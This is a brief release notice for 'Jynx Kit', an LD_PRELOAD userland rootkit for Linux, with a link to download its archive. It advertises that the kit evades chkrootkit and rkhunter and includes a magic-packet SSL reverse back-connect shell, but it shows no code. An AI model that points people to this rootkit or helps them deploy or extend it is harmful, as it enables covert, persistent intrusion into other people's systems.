Jynx Kit is a LD_PRELOAD userland rootkit. Fully undetectable from chkrootkit and rootkithunter. Includes magic packet SSL reverse back connect shell. Solid building block for further LD_PRELOAD rootkits.
You can download it from the following link: https://packetstormsecurity.com/files/download/110942/jynx2.tgz
Source: https://packetstormsecurity.com/files/110942/Jynx-Kit-Release-2.html